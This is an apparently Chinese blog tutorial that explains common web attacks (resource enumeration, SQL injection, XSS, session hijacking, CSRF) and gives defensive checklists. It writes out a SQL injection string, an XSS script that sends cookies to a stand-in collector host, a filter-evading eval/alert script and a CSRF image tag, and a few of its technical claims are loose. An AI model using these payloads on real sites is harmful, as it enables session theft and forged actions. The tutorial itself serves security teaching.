先不說(shuō)上面的“通過(guò)腳本把信息發(fā)送給服務(wù)器”是什么情況，我們先來(lái)聊一聊WEB基本攻擊有哪些。

WEB基本攻擊大致可以分為三大類(lèi)—— “資源枚舉”、“參數(shù)操縱” 和 “其它攻擊”。

有時(shí)候受前人（技術(shù)前輩也好，你所接任的上一位員工也好）的影響，我們可能會(huì)約定成俗地去做某件事情，比如用駱駝命名法法來(lái)命名函數(shù)名、用JSDoc的方式來(lái)書(shū)寫(xiě)注釋?zhuān)@樣會(huì)讓你的團(tuán)隊(duì)工作更加規(guī)范。然后有一天要給項(xiàng)目做備份了，就直接把該項(xiàng)目壓縮為rar文件，命名為什么呢？首選的自然是“bak.rar”，你看數(shù)據(jù)庫(kù)的備份的形式不也是.bak嘛。

于是乎，如果壓縮包所在的地址是可訪問(wèn)的，那么所有人都可以輕松地下載到這個(gè)"bak.rar"文件，你的項(xiàng)目也不存在什么小秘密了（即使夏天夏天悄悄地過(guò)去）。

這就是“資源枚舉”，別有用心的人會(huì)遍歷你站點(diǎn)所有可訪問(wèn)的目錄，然后把一些常見(jiàn)的備胎文件名（比如“sql.bak”、“index-副本.html”）一個(gè)個(gè)都枚舉一下，如果運(yùn)氣好枚舉到了就直接下載。

于是跟隨主流在這里不是好的事情，對(duì)于重要的東西，要么放在外人不可訪問(wèn)的地方，要么應(yīng)當(dāng)給它起一個(gè)不那么好猜的名字。

資源枚舉也不僅僅局限于瞎找東西，聰明的人會(huì)利用線(xiàn)索來(lái)更好地猜東西。

假設(shè)有一個(gè)站點(diǎn)走的偽靜態(tài)的高冷路線(xiàn)，不想讓別人知道它所使用的語(yǔ)言和數(shù)據(jù)庫(kù)，但沒(méi)有配置好后端錯(cuò)誤信息的提示。那么“別有用心”的朋友就可以在這個(gè)站點(diǎn)里的某個(gè)搜索結(jié)果頁(yè)面篡改url參數(shù)，導(dǎo)致數(shù)據(jù)庫(kù)查詢(xún)錯(cuò)誤而返回?cái)?shù)據(jù)庫(kù)錯(cuò)誤信息頁(yè)面，或者輸入一個(gè)根本不存在的子頁(yè)面地址來(lái)獲取錯(cuò)誤信息，進(jìn)而可判斷該站點(diǎn)到底用的是什么數(shù)據(jù)庫(kù)或動(dòng)態(tài)語(yǔ)言。

這里包括了SQL注入、XPath注入、cgi命令執(zhí)行，還有XXS和會(huì)話(huà)劫持等。前三個(gè)的攻擊主要是在服務(wù)端觸發(fā)的，后二者的攻擊則是側(cè)重于客戶(hù)端。

SQL注入這塊不想細(xì)聊了，相信很多朋友都聽(tīng)到耳朵長(zhǎng)繭，不外乎是提交含有SQL操作語(yǔ)句的信息給后端，后端如果沒(méi)有做好過(guò)濾就執(zhí)行該語(yǔ)句，攻擊者自然可以隨意操縱該站點(diǎn)的數(shù)據(jù)庫(kù)。

比如有一個(gè)圖書(shū)館站點(diǎn)，你點(diǎn)進(jìn)一本書(shū)的詳情頁(yè)面，其url是這樣的：

/book?id=100

說(shuō)明這本書(shū)在數(shù)據(jù)庫(kù)中的鍵值是100，后端收到url參數(shù)后就執(zhí)行了數(shù)據(jù)庫(kù)查詢(xún)操作：

select * from booktable where id='100'

那么如果我們把url更改為

/book?id=100'or'1'='1

那么數(shù)據(jù)庫(kù)操作執(zhí)行就變成了：

select * from booktable where id='100'or'1'='1'

從而取出了整個(gè)booktable 表單的全部數(shù)據(jù)。

XPath注入跟SQL注入差不多，只不過(guò)這里的數(shù)據(jù)庫(kù)走的xml格式，攻擊方式自然也得按xml查找的語(yǔ)法來(lái)了，具體 可看這里 。

cgi命令執(zhí)行指的是用戶(hù)遠(yuǎn)程訪問(wèn)cgi腳本時(shí)，通過(guò)提交惡意的參數(shù)讓服務(wù)器執(zhí)行相關(guān)的cgi命令來(lái)獲取信息甚至操縱服務(wù)器。有興趣的朋友可以 看下這里 。

對(duì)于這幾個(gè)攻擊，我們需要做的自然是對(duì)提交參數(shù)的過(guò)濾，最好是前端過(guò)濾一遍，后端也過(guò)濾一遍（后端的過(guò)濾和攔截是最重要的，畢竟通過(guò)在瀏覽器禁用腳本的配置可以躲過(guò)前端的過(guò)濾）。

XSS（cross-site scripting跨域腳本攻擊）攻擊也是最常見(jiàn)的WEB攻擊之一，其重點(diǎn)是“跨域”和“客戶(hù)端執(zhí)行”。我們還是拿那個(gè)圖書(shū)館網(wǎng)站來(lái)調(diào)侃下。

假設(shè)頁(yè)面右上角有一個(gè)搜索書(shū)籍的地方，你隨便輸入一本壓根就沒(méi)有的書(shū)，比如“有錢(qián)任性指南”，然后點(diǎn)擊“搜索”按鈕。這時(shí)候頁(yè)面 ( /search?name=有錢(qián)任性指南 ) 會(huì)返回一段信息：

您搜索的書(shū)籍“有錢(qián)任性指南”不存在

好的，那我們輸入這個(gè)怎樣：

<script>alert('沒(méi)有書(shū)開(kāi)個(gè)毛線(xiàn)書(shū)店啊')</script>

假設(shè)這個(gè)圖書(shū)館站點(diǎn)沒(méi)有對(duì)數(shù)據(jù)做任何過(guò)濾，而且會(huì)原封不動(dòng)地把用戶(hù)輸入的數(shù)據(jù)展示回來(lái)，那么返回的頁(yè)面自然也會(huì)返回這段腳本，從而執(zhí)行它。

但是這樣不好玩，既然要做攻擊，我們就要獲取用戶(hù)的數(shù)據(jù)，要獲取數(shù)據(jù)自然要把信息傳回我們的服務(wù)器（假設(shè)接收信息的地址是http://vajoy/get），那咱們可以這樣寫(xiě)：

<script>document.location='http://vajoy/get?cookie='+document.cookie</script>

不過(guò)這樣不好玩啊，收到的總是我們自己的數(shù)據(jù)，我們要收集的應(yīng)該是別人的cookie信息??！

小意思，不妨通過(guò)QQ群，或者通過(guò)群發(fā)垃圾郵件，來(lái)讓其他人點(diǎn)擊這個(gè)地址：

/search?name=<script>document.location='http://vajoy/get?cookie='+document.cookie</script>

這種便是XSS攻擊中的一種，稱(chēng)為“Reflected XSS”——基于反射的XSS攻擊，主要依靠站點(diǎn)服務(wù)端返回腳本，在客戶(hù)端觸發(fā)執(zhí)行從而發(fā)起WEB攻擊。

與其相近的是“DOM-based or local XSS”——基于DOM或本地的XSS攻擊。拿我現(xiàn)在工作的項(xiàng)目做比方——為用戶(hù)提供免費(fèi)的wifi，但是提供免費(fèi)wifi的網(wǎng)關(guān)會(huì)往你訪問(wèn)的任何頁(yè)面插入一段腳本，從而植入懸浮廣告（當(dāng)然你可以關(guān)閉它），這貌似沒(méi)什么，但如果插入的腳本是獲取你敏感數(shù)據(jù)的惡意腳本那就不一樣了。像這種直接存在于頁(yè)面，無(wú)須經(jīng)過(guò)服務(wù)器返回腳本處理就直接跨域發(fā)送用戶(hù)信息的行為就是基于本地的XSS攻擊。

還有最后一種稱(chēng)為“Stored XSS”——基于存儲(chǔ)的XSS攻擊。它是通過(guò)貼吧啊博客園啊等地方來(lái)發(fā)表帶有惡意跨域腳本的帖子或文章，從而把惡意腳本存儲(chǔ)在里面，每個(gè)訪問(wèn)該帖子/文章的人就會(huì)中招。

還記得一開(kāi)始加載本文章的alert彈窗么？假設(shè)博客園對(duì)文章進(jìn)行了過(guò)濾，把全部“alert”啊、"eval"啊等敏感字符都過(guò)濾掉，那我們?cè)趺崔k？我們可以這樣：

<script type="text/javascript">
var x='eva'+String.fromCharCode(108),y=window,e='a'+String.fromCharCode(108)+'ert("歡迎收看本文章")';
y[x]['call'](this,e);
</script>

照樣實(shí)現(xiàn)我們想要的彈窗無(wú)誤。

對(duì)于XSS的預(yù)防自然也是對(duì)提交數(shù)據(jù)的過(guò)濾，另外還有一點(diǎn)——謹(jǐn)慎返回用戶(hù)提交的內(nèi)容！

百度百科有個(gè)很有意思的引喻——“在現(xiàn)實(shí)生活中，比如你去市場(chǎng)買(mǎi)菜，在交完錢(qián)后你要求先去干一些別的事情，稍候再來(lái)拿菜；如果這個(gè)時(shí)候某個(gè)陌生人要求把菜拿走，賣(mài)菜的人會(huì)把菜給陌生人嗎？”

這個(gè)比喻很有意思，我們常規(guī)訪問(wèn)一個(gè)http網(wǎng)站時(shí)是與其服務(wù)器建立了一次HTTP會(huì)話(huà)。假設(shè)你宿舍樓的“朋友”都跟你處于同一個(gè)子網(wǎng)上，其中有人想偽裝成你來(lái)劫持你的HTTP會(huì)話(huà)，那么服務(wù)器會(huì)把菜，哦不，是信息返回給那個(gè)人嗎？

答案是肯定的，因?yàn)镠TTP會(huì)話(huà)并不安全。它在經(jīng)過(guò)TCP/IP協(xié)議封裝傳輸數(shù)據(jù)時(shí)，在傳輸?shù)臄?shù)據(jù)的每一個(gè)字節(jié)中插入一個(gè)32位的序列號(hào)碼，這個(gè)序列號(hào)用來(lái)保持跟蹤數(shù)據(jù)和提供可靠性（序列號(hào)是依循數(shù)據(jù)順序逐步遞增的）。第三方攻擊者可以通過(guò)嗅探的方式來(lái)獲取用戶(hù)與服務(wù)器通訊中的報(bào)文信息，如果他能猜測(cè)到數(shù)據(jù)中的序列號(hào)，那便能把合法的用戶(hù)斷開(kāi)，偽裝成合法用戶(hù)讓自己控制后續(xù)的通話(huà)。

對(duì)于會(huì)話(huà)劫持的預(yù)防，可以走SSH協(xié)議、增強(qiáng)網(wǎng)絡(luò)安全系統(tǒng)健壯性，也可以使用無(wú)序的UUID來(lái)替代通訊中的序列號(hào)碼（而非逐步遞增）。

其它攻擊包括有前面未提及的CSRF攻擊、釣魚(yú)攻擊和拒絕服務(wù)攻擊等。

CSRF（cross-site request forgery），翻譯為跨站請(qǐng)求偽造，與XSS非常相似，但XSS是利用用戶(hù)對(duì)當(dāng)前網(wǎng)站的信任來(lái)發(fā)起攻擊，而CSRF是利用網(wǎng)站對(duì)用戶(hù)的信任來(lái)發(fā)起攻擊。

依舊拿上述的圖書(shū)館站點(diǎn)打個(gè)比方，如果它的安全機(jī)制很松懈——只要用戶(hù)登錄了網(wǎng)站后，只要沒(méi)關(guān)閉瀏覽器，在任何情況都可以作為一個(gè)已通過(guò)身份驗(yàn)證的用戶(hù)來(lái)做購(gòu)書(shū)、借書(shū)操作（無(wú)須重新登錄或者輸入支付密碼什么的，畢竟已經(jīng)登錄驗(yàn)證過(guò)一次了嘛）。

那么我們給一位用戶(hù)發(fā)送一份郵件怎樣，里面放有一條轉(zhuǎn)向購(gòu)書(shū)執(zhí)行頁(yè)面的鏈接。。。噢不，那樣還得用戶(hù)點(diǎn)擊它，我們想讓用戶(hù)看到的時(shí)候就立刻執(zhí)行了購(gòu)書(shū)操作，我們可以這樣做——在郵件中插入一張圖片：

<img src='http:///pay?bookid=100'/>

img、script、iframe標(biāo)簽都是不受同源策略限制的，假設(shè)你使用的郵箱很直白地給用戶(hù)即時(shí)顯示這張圖片，而該用戶(hù)又剛好登錄了且沒(méi)有關(guān)閉瀏覽器，那么src里的連接就會(huì)立刻訪問(wèn)/pay頁(yè)面，并按照已通過(guò)身份驗(yàn)證的情況來(lái)處理，從而做了購(gòu)書(shū)的操作。

相信現(xiàn)在你會(huì)很清楚為何現(xiàn)在的郵箱都不會(huì)直接顯示郵件里的圖片了吧——都是為了你的安全考慮。

對(duì)于CSRF攻擊，我們所能做的可以有：

1. 檢查報(bào)頭中的Referer參數(shù)確保請(qǐng)求發(fā)自正確的網(wǎng)站（但XHR請(qǐng)求可調(diào)用setRequestHeader方法來(lái)修改Referer報(bào)頭）；

2. 對(duì)于任何重要的請(qǐng)求都需要重新驗(yàn)證用戶(hù)的身份；

3. 創(chuàng)建一個(gè)唯一的令牌（Token），將其存在服務(wù)端的session中及客戶(hù)端的cookie中，對(duì)任何請(qǐng)求，都檢查二者是否一致。

釣魚(yú)攻擊指的是網(wǎng)站的偽造，比如ta0bao.com，然后在其中應(yīng)用XSS等方式發(fā)起攻擊。

拒絕服務(wù)（DoS）指的是向網(wǎng)站發(fā)起洪水一樣的請(qǐng)求（Traffic Floor），導(dǎo)致服務(wù)器超負(fù)荷并關(guān)閉，處理方法常規(guī)是采用QoS（Quality of Service）的軟硬件解決方案。

攻擊層面指的是有惡意的人可能會(huì)從哪些地方來(lái)入手制造麻煩，常見(jiàn)的攻擊層面有三種：

1. 表單輸入（甚至包括hidden控件的內(nèi)容）；

2. cookie（通過(guò)修改cookie內(nèi)容也可以達(dá)到SQL注入攻擊的目的）；

3. 報(bào)頭（有時(shí)候?yàn)榱朔奖憬y(tǒng)計(jì)來(lái)源數(shù)據(jù)，服務(wù)器會(huì)把客戶(hù)端發(fā)來(lái)報(bào)頭的Referer、User-Agent信息存到數(shù)據(jù)庫(kù)中，那么通過(guò)修改報(bào)頭信息也可以起到SQL注入工具目的）

4. 請(qǐng)求參數(shù)

5. 上傳文件（在文件內(nèi)攜帶惡意代碼）

1. 上述“傳統(tǒng)WEB服務(wù)”的全部方法；

2. WSDL文檔（暴露了服務(wù)端的每個(gè)方法及其使用方式）

即上述的“一”和“二”的合集

綜上所述，我們可以這樣審視我們的WEB站點(diǎn)：

1. 永遠(yuǎn)不要相信客戶(hù)端傳來(lái)的任何信息，對(duì)這些信息都應(yīng)先進(jìn)行編碼或過(guò)濾處理；

2. 謹(jǐn)慎返回用戶(hù)輸入的信息；

3. 使用黑名單和白名單處理（即“不允許哪些敏感信息”或“只允許哪些信息”，白名單的效果更好但局限性高）；

4. 檢查、驗(yàn)證請(qǐng)求來(lái)源，對(duì)每一個(gè)重要的操作都進(jìn)行重新驗(yàn)證；

5. 使用SSL防止第三方監(jiān)聽(tīng)通信（但無(wú)法阻止XSS、CSRF、SQL注入攻擊）；

6. 不要將重要文件、備份文件存放在公眾可訪問(wèn)到的地方；

7. 會(huì)話(huà)ID無(wú)序化；

8. 對(duì)用戶(hù)上傳的文件進(jìn)行驗(yàn)證（不單單是格式驗(yàn)證，比方一張gif圖片還應(yīng)將其轉(zhuǎn)為二進(jìn)制并驗(yàn)證其每幀顏色值<無(wú)符號(hào)8位>和寬高值<無(wú)符號(hào)16位>）；

9. WSDL文檔應(yīng)當(dāng)要求用戶(hù)注冊(cè)后才能獲取；

10. 。。。。。。。。

雖然我們有一些必要的手段來(lái)防止WEB攻擊，但永遠(yuǎn)不會(huì)有一枚silver bullet來(lái)徹底解決問(wèn)題，先不談那些數(shù)不勝數(shù)的已知的、可被攻擊的漏洞，對(duì)于謎一樣的0-day漏洞，我們所能做的只是提前發(fā)現(xiàn)并及時(shí)修補(bǔ)它們。